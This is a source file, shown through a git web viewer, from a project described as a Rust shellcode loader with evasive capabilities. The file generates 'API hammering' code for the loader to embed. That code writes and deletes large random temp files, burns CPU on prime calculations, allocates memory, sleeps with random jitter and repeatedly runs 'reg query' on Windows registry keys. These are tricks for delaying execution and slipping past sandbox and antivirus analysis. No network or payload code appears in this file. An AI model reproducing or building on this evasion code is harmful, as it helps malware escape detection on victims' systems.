myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

api_hammering.rs (3839B)

      1 pub fn generate_api_hammering_functions() -> String {
      2     r#"
      3 use std::fs::{remove_file, File};
      4 use std::io::{Read, Write};
      5 
      6 fn write_random_files(num: usize) -> std::io::Result<()> {
      7     let dir = std::env::temp_dir();
      8     
      9     for _ in 0..num {
     10         let mut rng = RandomGenerator::new();
     11         let random_suffix = rng.next() as u32;
     12         let extensions = [".log", ".bitmap", ".txt"];
     13         let extension = extensions[(rng.next() % extensions.len())];
     14         let file_name = format!("{:x}{}", random_suffix, extension);
     15         let path = dir.as_path().join(&file_name);
     16         
     17         let size = 0xFFFFF;
     18         
     19         let mut file = File::create(&path)?;
     20         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     21         file.write_all(&data)?;
     22 
     23         let mut file = File::open(&path)?;
     24         let mut buffer = vec![0; size];
     25         file.read_exact(&mut buffer)?;
     26         
     27         remove_file(path)?;
     28     }
     29 
     30     Ok(())
     31 }
     32 
     33 #[no_mangle]
     34 #[inline(never)]
     35 fn calc_primes(iterations: usize) {
     36     let mut prime = 2;
     37     let mut i = 0;
     38     while i < iterations {
     39         if (2..prime).all(|j| prime % j != 0) {
     40             i += 1;
     41         }
     42         prime += 1;
     43     }
     44 }
     45 
     46 fn allocate_random_memory(num_allocs: usize) {
     47     let mut allocations = Vec::new();
     48     let mut rng = RandomGenerator::new();
     49 
     50     for _ in 0..num_allocs {
     51         let size = 1024 + (rng.next() % 8192);
     52         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     53         allocations.push(data);
     54     }
     55 }
     56 
     57 fn transform_strings(iterations: usize) {
     58     let mut rng = RandomGenerator::new();
     59 
     60     for _ in 0..iterations {
     61         let len = 5 + (rng.next() % 10);
     62         let s: String = (0..len)
     63             .map(|_| {
     64                 let idx = rng.next() % 26;
     65                 (b'a' + idx as u8) as char
     66             })
     67             .collect();
     68         let _uppercase = s.to_uppercase();
     69         let _lowercase = s.to_lowercase();
     70         let _repeated = s.repeat(3);
     71         let _reversed: String = s.chars().rev().collect();
     72     }
     73 }
     74 
     75 fn sleep_random_jitter(max_millis: u64) {
     76     let mut rng = RandomGenerator::new();
     77     let jitter = rng.next() as u64 % max_millis;
     78     std::thread::sleep(std::time::Duration::from_millis(jitter));
     79 }
     80 
     81 fn query_registry_keys(num_queries: usize) -> std::io::Result<()> {
     82     use std::process::Command;
     83 
     84     let keys = [
     85         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
     86         r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
     87         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
     88         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
     89         r"HKEY_CURRENT_USER\Environment",
     90         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
     91         r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
     92         r"HKEY_CURRENT_USER\Software\Classes",
     93         r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
     94         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
     95     ];
     96     let mut rng = RandomGenerator::new();
     97 
     98     for _ in 0..num_queries {
     99         let key = keys[rng.next() % keys.len()];
    100         let _ = Command::new("reg")
    101             .args(&["query", key])
    102             .output();
    103     }
    104 
    105     Ok(())
    106 }
    107 
    108 struct RandomGenerator {
    109     state: u64,
    110 }
    111 
    112 impl RandomGenerator {
    113     fn new() -> Self {
    114         let state = std::time::SystemTime::now()
    115             .duration_since(std::time::UNIX_EPOCH)
    116             .unwrap()
    117             .as_nanos() as u64;
    118         Self { state }
    119     }
    120 
    121     fn next(&mut self) -> usize {
    122         self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
    123         (self.state >> 32) as usize
    124     }
    125 
    126     fn gen(&mut self) -> u8 {
    127         self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
    128         (self.state >> 33) as u8
    129     }
    130 }
    131 "#
    132     .to_string()
    133 }